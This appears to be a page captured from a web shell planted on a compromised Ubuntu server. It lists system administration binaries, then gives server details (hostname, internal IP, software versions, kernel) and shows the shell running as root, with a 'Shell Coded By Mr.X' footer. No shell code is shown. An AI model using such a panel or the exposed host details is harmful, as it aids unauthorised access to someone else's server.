groupmems | File | 58.34 KB | 0755 |
|
groupmod | File | 71.04 KB | 0755 |
|
grpck | File | 58.32 KB | 0755 |
|
grpconv | File | 50.16 KB | 0755 |
|
grpunconv | File | 50.16 KB | 0755 |
|
grub-bios-setup | File | 953.33 KB | 0755 |
|
grub-install | File | 1.16 MB | 0755 |
|
grub-macbless | File | 941.2 KB | 0755 |
|
grub-mkconfig | File | 8.63 KB | 0755 |
|
grub-mkdevicemap | File | 70.69 KB | 0755 |
|
grub-probe | File | 949.45 KB | 0755 |
|
grub-reboot | File | 4.73 KB | 0755 |
|
grub-set-default | File | 3.47 KB | 0755 |
|
halt | File | 1.43 MB | 0755 |
|
hardirqs-bpfcc | File | 6.85 KB | 0755 |
|
hdparm | File | 139.43 KB | 0755 |
|
httxt2dbm | File | 14.3 KB | 0755 |
|
iconvconfig | File | 34.47 KB | 0755 |
|
ifconfig | File | 77.17 KB | 0755 |
|
init | File | 98.45 KB | 0755 |
|
inject-bpfcc | File | 16.06 KB | 0755 |
|
insmod | File | 170.24 KB | 0755 |
|
install-sgmlcatalog | File | 4.44 KB | 0755 |
|
installkernel | File | 2.6 KB | 0755 |
|
integritysetup | File | 67.06 KB | 0755 |
|
invoke-rc.d | File | 16.13 KB | 0755 |
|
ip | File | 754.74 KB | 0755 |
|
ip6tables | File | 219.16 KB | 0755 |
|
ip6tables-apply | File | 6.89 KB | 0755 |
|
ip6tables-legacy | File | 92.95 KB | 0755 |
|
ip6tables-legacy-restore | File | 92.95 KB | 0755 |
|
ip6tables-legacy-save | File | 92.95 KB | 0755 |
|
ip6tables-nft | File | 219.16 KB | 0755 |
|
ip6tables-nft-restore | File | 219.16 KB | 0755 |
|
ip6tables-nft-save | File | 219.16 KB | 0755 |
|
ip6tables-restore | File | 219.16 KB | 0755 |
|
ip6tables-restore-translate | File | 219.16 KB | 0755 |
|
ip6tables-save | File | 219.16 KB | 0755 |
|
ip6tables-translate | File | 219.16 KB | 0755 |
|
ipmaddr | File | 18.3 KB | 0755 |
|
iptables | File | 219.16 KB | 0755 |
|
iptables-apply | File | 6.89 KB | 0755 |
|
iptables-legacy | File | 92.95 KB | 0755 |
|
iptables-legacy-restore | File | 92.95 KB | 0755 |
|
iptables-legacy-save | File | 92.95 KB | 0755 |
|
iptables-nft | File | 219.16 KB | 0755 |
|
iptables-nft-restore | File | 219.16 KB | 0755 |
|
iptables-nft-save | File | 219.16 KB | 0755 |
|
iptables-restore | File | 219.16 KB | 0755 |
|
iptables-restore-translate | File | 219.16 KB | 0755 |
|
iptables-save | File | 219.16 KB | 0755 |
|
iptables-translate | File | 219.16 KB | 0755 |
|
iptunnel | File | 18.3 KB | 0755 |
|
irqbalance | File | 58.86 KB | 0755 |
|
irqbalance-ui | File | 38.38 KB | 0755 |
|
iscsi-iname | File | 18.3 KB | 0755 |
|
iscsi_discovery | File | 5.17 KB | 0755 |
|
iscsiadm | File | 370.43 KB | 0755 |
|
iscsid | File | 286.55 KB | 0755 |
|
iscsistart | File | 274.49 KB | 0755 |
|
isosize | File | 14.38 KB | 0755 |
|
iucode-tool | File | 54.34 KB | 0755 |
|
iucode_tool | File | 54.34 KB | 0755 |
|
javacalls-bpfcc | File | 55 B | 0755 |
|
javaflow-bpfcc | File | 54 B | 0755 |
|
javagc-bpfcc | File | 52 B | 0755 |
|
javaobjnew-bpfcc | File | 56 B | 0755 |
|
javastat-bpfcc | File | 54 B | 0755 |
|
javathreads-bpfcc | File | 57 B | 0755 |
|
kbdrate | File | 18.31 KB | 0755 |
|
killall5 | File | 26.23 KB | 0755 |
|
killsnoop-bpfcc | File | 4.45 KB | 0755 |
|
killsnoop.bt | File | 873 B | 0755 |
|
klockstat-bpfcc | File | 13.04 KB | 0755 |
|
kpartx | File | 42.16 KB | 0755 |
|
kvmexit-bpfcc | File | 11.19 KB | 0755 |
|
ldattach | File | 26.38 KB | 0755 |
|
ldconfig | File | 387 B | 0755 |
|
ldconfig.real | File | 1 MB | 0755 |
|
llcstat-bpfcc | File | 4.48 KB | 0755 |
|
loads.bt | File | 1.1 KB | 0755 |
|
locale-gen | File | 4.21 KB | 0755 |
|
logrotate | File | 94.24 KB | 0755 |
|
logsave | File | 14.16 KB | 0755 |
|
losetup | File | 74.52 KB | 0755 |
|
lsmod | File | 170.24 KB | 0755 |
|
luksformat | File | 3.32 KB | 0755 |
|
lvchange | File | 3.01 MB | 0755 |
|
lvconvert | File | 3.01 MB | 0755 |
|
lvcreate | File | 3.01 MB | 0755 |
|
lvdisplay | File | 3.01 MB | 0755 |
|
lvextend | File | 3.01 MB | 0755 |
|
lvm | File | 3.01 MB | 0755 |
|
lvmconfig | File | 3.01 MB | 0755 |
|
lvmdiskscan | File | 3.01 MB | 0755 |
|
lvmdump | File | 10.12 KB | 0755 |
|
lvmpolld | File | 235.97 KB | 0755 |
|
lvmsadc | File | 3.01 MB | 0755 |
|
lvmsar | File | 3.01 MB | 0755 |
|
lvreduce | File | 3.01 MB | 0755 |
|
lvremove | File | 3.01 MB | 0755 |
|
lvrename | File | 3.01 MB | 0755 |
|
lvresize | File | 3.01 MB | 0755 |
|
lvs | File | 3.01 MB | 0755 |
|
lvscan | File | 3.01 MB | 0755 |
|
lxc | File | 372 B | 0755 |
|
lxd | File | 372 B | 0755 |
|
make-bcache | File | 22.38 KB | 0755 |
|
make-ssl-cert | File | 6.65 KB | 0755 |
|
mariadbd | File | 24.92 MB | 0755 |
|
mdadm | File | 622.21 KB | 0755 |
|
mdflush-bpfcc | File | 2.24 KB | 0755 |
|
mdflush.bt | File | 775 B | 0755 |
|
mdmon | File | 258.8 KB | 0755 |
|
memleak-bpfcc | File | 20.8 KB | 0755 |
|
mii-tool | File | 26.73 KB | 0755 |
|
mkdosfs | File | 50.83 KB | 0755 |
|
mke2fs | File | 130.62 KB | 0755 |
|
mkfs | File | 14.38 KB | 0755 |
|
mkfs.bfs | File | 22.38 KB | 0755 |
|
mkfs.btrfs | File | 560.3 KB | 0755 |
|
mkfs.cramfs | File | 34.32 KB | 0755 |
|
mkfs.ext2 | File | 130.62 KB | 0755 |
|
mkfs.ext3 | File | 130.62 KB | 0755 |
|
mkfs.ext4 | File | 130.62 KB | 0755 |
|
mkfs.fat | File | 50.83 KB | 0755 |
|
mkfs.minix | File | 42.39 KB | 0755 |
|
mkfs.msdos | File | 50.83 KB | 0755 |
|
mkfs.ntfs | File | 66.38 KB | 0755 |
|
mkfs.vfat | File | 50.83 KB | 0755 |
|
mkfs.xfs | File | 438.99 KB | 0755 |
|
mkhomedir_helper | File | 22.34 KB | 0755 |
|
mkinitramfs | File | 15.13 KB | 0755 |
|
mklost+found | File | 14.3 KB | 0755 |
|
mkntfs | File | 66.38 KB | 0755 |
|
mkswap | File | 50.38 KB | 0755 |
|
modinfo | File | 170.24 KB | 0755 |
|
modprobe | File | 170.24 KB | 0755 |
|
mount.fuse | File | 18.3 KB | 0755 |
|
mount.fuse3 | File | 18.3 KB | 0755 |
|
mount.lowntfs-3g | File | 118.98 KB | 0755 |
|
mount.ntfs | File | 159.01 KB | 0755 |
|
mount.ntfs-3g | File | 159.01 KB | 0755 |
|
mountsnoop-bpfcc | File | 14.62 KB | 0755 |
|
mpathpersist | File | 31.21 KB | 0755 |
|
multipath | File | 34.3 KB | 0755 |
|
multipathc | File | 18.3 KB | 0755 |
|
multipathd | File | 142.46 KB | 0755 |
|
mysqld | File | 24.92 MB | 0755 |
|
mysqld_qslower-bpfcc | File | 3.05 KB | 0755 |
|
nameif | File | 14.39 KB | 0755 |
|
naptime.bt | File | 1.01 KB | 0755 |
|
needrestart | File | 40.13 KB | 0755 |
|
netplan | File | 802 B | 0755 |
|
netqtop-bpfcc | File | 5.59 KB | 0755 |
|
newusers | File | 86.96 KB | 0755 |
|
nfnl_osf | File | 18.3 KB | 0755 |
|
nfsdist-bpfcc | File | 4.95 KB | 0755 |
|
nfsslower-bpfcc | File | 13.61 KB | 0755 |
|
nft | File | 26.23 KB | 0755 |
|
nginx | File | 1.25 MB | 0755 |
|
nodegc-bpfcc | File | 52 B | 0755 |
|
nodestat-bpfcc | File | 54 B | 0755 |
|
nologin | File | 14.3 KB | 0755 |
|
ntfsclone | File | 50.38 KB | 0755 |
|
ntfscp | File | 30.38 KB | 0755 |
|
ntfslabel | File | 22.38 KB | 0755 |
|
ntfsresize | File | 62.39 KB | 0755 |
|
ntfsundelete | File | 50.38 KB | 0755 |
|
offcputime-bpfcc | File | 13.46 KB | 0755 |
|
offwaketime-bpfcc | File | 15.31 KB | 0755 |
|
on_ac_power | File | 2.18 KB | 0755 |
|
oomkill-bpfcc | File | 2.04 KB | 0755 |
|
oomkill.bt | File | 1.17 KB | 0755 |
|
opensnoop-bpfcc | File | 14.24 KB | 0755 |
|
opensnoop.bt | File | 953 B | 0755 |
|
overlayroot-chroot | File | 2.45 KB | 0755 |
|
ownership | File | 14.45 KB | 0755 |
|
pam-auth-update | File | 20.96 KB | 0755 |
|
pam_extrausers_chkpwd | File | 26.31 KB | 2755 |
|
pam_extrausers_update | File | 34.31 KB | 0755 |
|
pam_getenv | File | 2.82 KB | 0755 |
|
pam_namespace_helper | File | 467 B | 0755 |
|
pam_timestamp_check | File | 14.31 KB | 0755 |
|
paperconfig | File | 4.07 KB | 0755 |
|
parted | File | 94.4 KB | 0755 |
|
partprobe | File | 14.38 KB | 0755 |
|
pdata_tools | File | 1.36 MB | 0755 |
|
perlcalls-bpfcc | File | 55 B | 0755 |
|
perlflow-bpfcc | File | 54 B | 0755 |
|
perlstat-bpfcc | File | 54 B | 0755 |
|
php-fpm7.4 | File | 4.57 MB | 0755 |
|
phpcalls-bpfcc | File | 54 B | 0755 |
|
phpdismod | File | 7.11 KB | 0755 |
|
phpenmod | File | 7.11 KB | 0755 |
|
phpflow-bpfcc | File | 53 B | 0755 |
|
phpquery | File | 6.24 KB | 0755 |
|
phpstat-bpfcc | File | 53 B | 0755 |
|
pidpersec-bpfcc | File | 1.08 KB | 0755 |
|
pidpersec.bt | File | 628 B | 0755 |
|
pivot_root | File | 14.38 KB | 0755 |
|
plipconfig | File | 14.3 KB | 0755 |
|
plymouthd | File | 146.57 KB | 0755 |
|
poweroff | File | 1.43 MB | 0755 |
|
ppchcalls-bpfcc | File | 13.89 KB | 0755 |
|
profile-bpfcc | File | 14.41 KB | 0755 |
|
pvchange | File | 3.01 MB | 0755 |
|
pvck | File | 3.01 MB | 0755 |
|
pvcreate | File | 3.01 MB | 0755 |
|
pvdisplay | File | 3.01 MB | 0755 |
|
pvmove | File | 3.01 MB | 0755 |
|
pvremove | File | 3.01 MB | 0755 |
|
pvresize | File | 3.01 MB | 0755 |
|
pvs | File | 3.01 MB | 0755 |
|
pvscan | File | 3.01 MB | 0755 |
|
pwck | File | 54.29 KB | 0755 |
|
pwconv | File | 46.16 KB | 0755 |
|
pwhistory_helper | File | 22.31 KB | 0755 |
|
pwunconv | File | 46.16 KB | 0755 |
|
pythoncalls-bpfcc | File | 57 B | 0755 |
|
pythonflow-bpfcc | File | 56 B | 0755 |
|
pythongc-bpfcc | File | 54 B | 0755 |
|
pythonstat-bpfcc | File | 56 B | 0755 |
|
rarp | File | 32.33 KB | 0755 |
|
rdmaucma-bpfcc | File | 4.95 KB | 0755 |
|
readahead-bpfcc | File | 6.54 KB | 0755 |
|
readprofile | File | 22.41 KB | 0755 |
|
reboot | File | 1.43 MB | 0755 |
|
remove-shell | File | 1.08 KB | 0755 |
|
reset-trace-bpfcc | File | 3.42 KB | 0755 |
|
resize2fs | File | 70.3 KB | 0755 |
|
resolvconf | File | 158.67 KB | 0755 |
|
rmmod | File | 170.24 KB | 0755 |
|
rmt | File | 54.71 KB | 0755 |
|
rmt-tar | File | 54.71 KB | 0755 |
|
route | File | 68.27 KB | 0755 |
|
rsyslogd | File | 771.67 KB | 0755 |
|
rtacct | File | 28.31 KB | 0755 |
|
rtcwake | File | 34.38 KB | 0755 |
|
rtmon | File | 116.52 KB | 0755 |
|
rubycalls-bpfcc | File | 55 B | 0755 |
|
rubyflow-bpfcc | File | 54 B | 0755 |
|
rubygc-bpfcc | File | 52 B | 0755 |
|
rubyobjnew-bpfcc | File | 56 B | 0755 |
|
rubystat-bpfcc | File | 54 B | 0755 |
|
runlevel | File | 1.43 MB | 0755 |
|
runqlat-bpfcc | File | 9.3 KB | 0755 |
|
runqlat.bt | File | 788 B | 0755 |
|
runqlen-bpfcc | File | 8.05 KB | 0755 |
|
runqlen.bt | File | 1.01 KB | 0755 |
|
runqslower-bpfcc | File | 9.01 KB | 0755 |
|
runuser | File | 54.38 KB | 0755 |
|
service | File | 8.89 KB | 0755 |
|
setcap | File | 14.3 KB | 0755 |
|
setuids.bt | File | 1.76 KB | 0755 |
|
setvesablank | File | 14.37 KB | 0755 |
|
setvtrgb | File | 14.43 KB | 0755 |
|
sfdisk | File | 106.38 KB | 0755 |
|
sgdisk | File | 178.48 KB | 0755 |
|
shadowconfig | File | 2.22 KB | 0755 |
|
shmsnoop-bpfcc | File | 7.8 KB | 0755 |
|
shutdown | File | 1.43 MB | 0755 |
|
slabratetop-bpfcc | File | 6.38 KB | 0755 |
|
slattach | File | 36.08 KB | 0755 |
|
sofdsnoop-bpfcc | File | 8.06 KB | 0755 |
|
softirqs-bpfcc | File | 5.59 KB | 0755 |
|
solisten-bpfcc | File | 5.96 KB | 0755 |
|
split-logfile | File | 2.36 KB | 0755 |
|
sshd | File | 899.82 KB | 0755 |
|
ssllatency.bt | File | 2.08 KB | 0755 |
|
sslsniff-bpfcc | File | 13.68 KB | 0755 |
|
sslsnoop.bt | File | 1.99 KB | 0755 |
|
stackcount-bpfcc | File | 16.26 KB | 0755 |
|
start-stop-daemon | File | 47.49 KB | 0755 |
|
statsnoop-bpfcc | File | 4.92 KB | 0755 |
|
statsnoop.bt | File | 1.26 KB | 0755 |
|
sudo_logsrvd | File | 248.5 KB | 0755 |
|
sudo_sendlog | File | 131.67 KB | 0755 |
|
sulogin | File | 42.38 KB | 0755 |
|
swapin.bt | File | 600 B | 0755 |
|
swaplabel | File | 18.38 KB | 0755 |
|
swapoff | File | 22.38 KB | 0755 |
|
swapon | File | 42.38 KB | 0755 |
|
switch_root | File | 22.38 KB | 0755 |
|
syncsnoop-bpfcc | File | 1.27 KB | 0755 |
|
syncsnoop.bt | File | 839 B | 0755 |
|
syscount-bpfcc | File | 8.57 KB | 0755 |
|
syscount.bt | File | 872 B | 0755 |
|
sysctl | File | 30.38 KB | 0755 |
|
tarcat | File | 936 B | 0755 |
|
tc | File | 630.08 KB | 0755 |
|
tclcalls-bpfcc | File | 54 B | 0755 |
|
tclflow-bpfcc | File | 53 B | 0755 |
|
tclobjnew-bpfcc | File | 55 B | 0755 |
|
tclstat-bpfcc | File | 53 B | 0755 |
|
tcpaccept-bpfcc | File | 9 KB | 0755 |
|
tcpaccept.bt | File | 1.71 KB | 0755 |
|
tcpcong-bpfcc | File | 20.11 KB | 0755 |
|
tcpconnect-bpfcc | File | 18.46 KB | 0755 |
|
tcpconnect.bt | File | 1.58 KB | 0755 |
|
tcpconnlat-bpfcc | File | 9.07 KB | 0755 |
|
tcpdrop-bpfcc | File | 7.44 KB | 0755 |
|
tcpdrop.bt | File | 2.41 KB | 0755 |
|
tcplife-bpfcc | File | 16.55 KB | 0755 |
|
tcplife.bt | File | 2.72 KB | 0755 |
|
tcpretrans-bpfcc | File | 13.77 KB | 0755 |
|
tcpretrans.bt | File | 2.07 KB | 0755 |
|
tcprtt-bpfcc | File | 8.7 KB | 0755 |
|
tcpstates-bpfcc | File | 13.73 KB | 0755 |
|
tcpsubnet-bpfcc | File | 7.63 KB | 0755 |
|
tcpsynbl-bpfcc | File | 2.12 KB | 0755 |
|
tcpsynbl.bt | File | 962 B | 0755 |
|
tcptop-bpfcc | File | 12.64 KB | 0755 |
|
tcptracer-bpfcc | File | 17.71 KB | 0755 |
|
telinit | File | 1.43 MB | 0755 |
|
thin_check | File | 1.36 MB | 0755 |
|
thin_delta | File | 1.36 MB | 0755 |
|
thin_dump | File | 1.36 MB | 0755 |
|
thin_ls | File | 1.36 MB | 0755 |
|
thin_metadata_size | File | 1.36 MB | 0755 |
|
thin_repair | File | 1.36 MB | 0755 |
|
thin_restore | File | 1.36 MB | 0755 |
|
thin_rmap | File | 1.36 MB | 0755 |
|
thin_trim | File | 1.36 MB | 0755 |
|
threadsnoop-bpfcc | File | 1.81 KB | 0755 |
|
threadsnoop.bt | File | 712 B | 0755 |
|
tipc | File | 90.52 KB | 0755 |
|
tplist-bpfcc | File | 4.06 KB | 0755 |
|
trace-bpfcc | File | 42.86 KB | 0755 |
|
ttysnoop-bpfcc | File | 7.51 KB | 0755 |
|
tune2fs | File | 110.56 KB | 0755 |
|
ucalls | File | 11.69 KB | 0755 |
|
uflow | File | 7.92 KB | 0755 |
|
ufw | File | 4.84 KB | 0755 |
|
ugc | File | 7.64 KB | 0755 |
|
umount.udisks2 | File | 14.3 KB | 0755 |
|
undump.bt | File | 789 B | 0755 |
|
unix_chkpwd | File | 30.31 KB | 2755 |
|
unix_update | File | 34.31 KB | 0755 |
|
uobjnew | File | 6.04 KB | 0755 |
|
update-ca-certificates | File | 5.32 KB | 0755 |
|
update-catalog | File | 9.17 KB | 0755 |
|
update-fonts-alias | File | 5.71 KB | 0755 |
|
update-fonts-dir | File | 3.98 KB | 0755 |
|
update-fonts-scale | File | 6.1 KB | 0755 |
|
update-grub | File | 64 B | 0755 |
|
update-grub-gfxpayload | File | 301 B | 0755 |
|
update-grub2 | File | 64 B | 0755 |
|
update-gsfontmap | File | 390 B | 0755 |
|
update-ieee-data | File | 3.41 KB | 0755 |
|
update-info-dir | File | 1.66 KB | 0755 |
|
update-initramfs | File | 6.75 KB | 0755 |
|
update-locale | File | 2.99 KB | 0755 |
|
update-mime | File | 9.39 KB | 0755 |
|
update-passwd | File | 34.56 KB | 0755 |
|
update-pciids | File | 1.74 KB | 0755 |
|
update-rc.d | File | 17.72 KB | 0755 |
|
update-secureboot-policy | File | 7.43 KB | 0755 |
|
update-shells | File | 3.89 KB | 0755 |
|
update-xmlcatalog | File | 16.88 KB | 0755 |
|
upgrade-from-grub-legacy | File | 1.56 KB | 0755 |
|
usb_modeswitch | File | 59.66 KB | 0755 |
|
usb_modeswitch_dispatcher | File | 26.78 KB | 0755 |
|
useradd | File | 139.88 KB | 0755 |
|
userdel | File | 91.01 KB | 0755 |
|
usermod | File | 127.65 KB | 0755 |
|
ustat | File | 12.12 KB | 0755 |
|
uthreads | File | 4 KB | 0755 |
|
uuidd | File | 30.88 KB | 0755 |
|
validlocale | File | 1.73 KB | 0755 |
|
vcstime | File | 14.3 KB | 0755 |
|
vdpa | File | 34.56 KB | 0755 |
|
veritysetup | File | 43.94 KB | 0755 |
|
vfscount-bpfcc | File | 1.36 KB | 0755 |
|
vfscount.bt | File | 515 B | 0755 |
|
vfsstat-bpfcc | File | 4.06 KB | 0755 |
|
vfsstat.bt | File | 721 B | 0755 |
|
vgcfgbackup | File | 3.01 MB | 0755 |
|
vgcfgrestore | File | 3.01 MB | 0755 |
|
vgchange | File | 3.01 MB | 0755 |
|
vgck | File | 3.01 MB | 0755 |
|
vgconvert | File | 3.01 MB | 0755 |
|
vgcreate | File | 3.01 MB | 0755 |
|
vgdisplay | File | 3.01 MB | 0755 |
|
vgexport | File | 3.01 MB | 0755 |
|
vgextend | File | 3.01 MB | 0755 |
|
vgimport | File | 3.01 MB | 0755 |
|
vgimportclone | File | 3.01 MB | 0755 |
|
vgmerge | File | 3.01 MB | 0755 |
|
vgmknodes | File | 3.01 MB | 0755 |
|
vgreduce | File | 3.01 MB | 0755 |
|
vgremove | File | 3.01 MB | 0755 |
|
vgrename | File | 3.01 MB | 0755 |
|
vgs | File | 3.01 MB | 0755 |
|
vgscan | File | 3.01 MB | 0755 |
|
vgsplit | File | 3.01 MB | 0755 |
|
vigr | File | 60.69 KB | 0755 |
|
vipw | File | 60.69 KB | 0755 |
|
virtiostat-bpfcc | File | 8.69 KB | 0755 |
|
visudo | File | 248.71 KB | 0755 |
|
vpddecode | File | 14.58 KB | 0755 |
|
wakeuptime-bpfcc | File | 8.1 KB | 0755 |
|
wipefs | File | 38.38 KB | 0755 |
|
writeback.bt | File | 1.66 KB | 0755 |
|
xfs_admin | File | 2.12 KB | 0755 |
|
xfs_bmap | File | 695 B | 0755 |
|
xfs_copy | File | 90.44 KB | 0755 |
|
xfs_db | File | 688.56 KB | 0755 |
|
xfs_estimate | File | 14.16 KB | 0755 |
|
xfs_freeze | File | 800 B | 0755 |
|
xfs_fsr | File | 42.18 KB | 0755 |
|
xfs_growfs | File | 38.23 KB | 0755 |
|
xfs_info | File | 1.26 KB | 0755 |
|
xfs_io | File | 203.65 KB | 0755 |
|
xfs_logprint | File | 78.27 KB | 0755 |
|
xfs_mdrestore | File | 34.23 KB | 0755 |
|
xfs_metadump | File | 816 B | 0755 |
|
xfs_mkfile | File | 1.02 KB | 0755 |
|
xfs_ncheck | File | 685 B | 0755 |
|
xfs_quota | File | 90.16 KB | 0755 |
|
xfs_repair | File | 643.32 KB | 0755 |
|
xfs_rtcp | File | 18.15 KB | 0755 |
|
xfs_scrub | File | 106.27 KB | 0755 |
|
xfs_scrub_all | File | 7.66 KB | 0755 |
|
xfs_spaceman | File | 42.3 KB | 0755 |
|
xfsdist-bpfcc | File | 4.61 KB | 0755 |
|
xfsdist.bt | File | 972 B | 0755 |
|
xfsslower-bpfcc | File | 7.78 KB | 0755 |
|
xtables-legacy-multi | File | 92.95 KB | 0755 |
|
xtables-monitor | File | 219.16 KB | 0755 |
|
xtables-nft-multi | File | 219.16 KB | 0755 |
|
zerofree | File | 14.15 KB | 0755 |
|
zfsdist-bpfcc | File | 5.3 KB | 0755 |
|
zfsslower-bpfcc | File | 8.45 KB | 0755 |
|
zic | File | 66.39 KB | 0755 |
|
zramctl | File | 54.52 KB | 0755 |
|
Server Info
- Hostname: milna-web
- IP Address: 172.31.26.98
- PHP Version: 7.4.33
- Server Software: Apache/2.4.58 (Ubuntu)
- HDD Total Space: 18.33 GB
- HDD Free Space: 2.49 GB
- Total Domains in Server: 2
- System: Linux milna-web 6.8.0-1018-aws #20-Ubuntu SMP Thu Oct 10 18:14:42 UTC 2024 x86_64
System Info
User Info
- Username: root
- User ID: 0
- Group ID: 0
Copyright reserved © 2025 xtooler.online Shell Coded By Mr.X
01
2018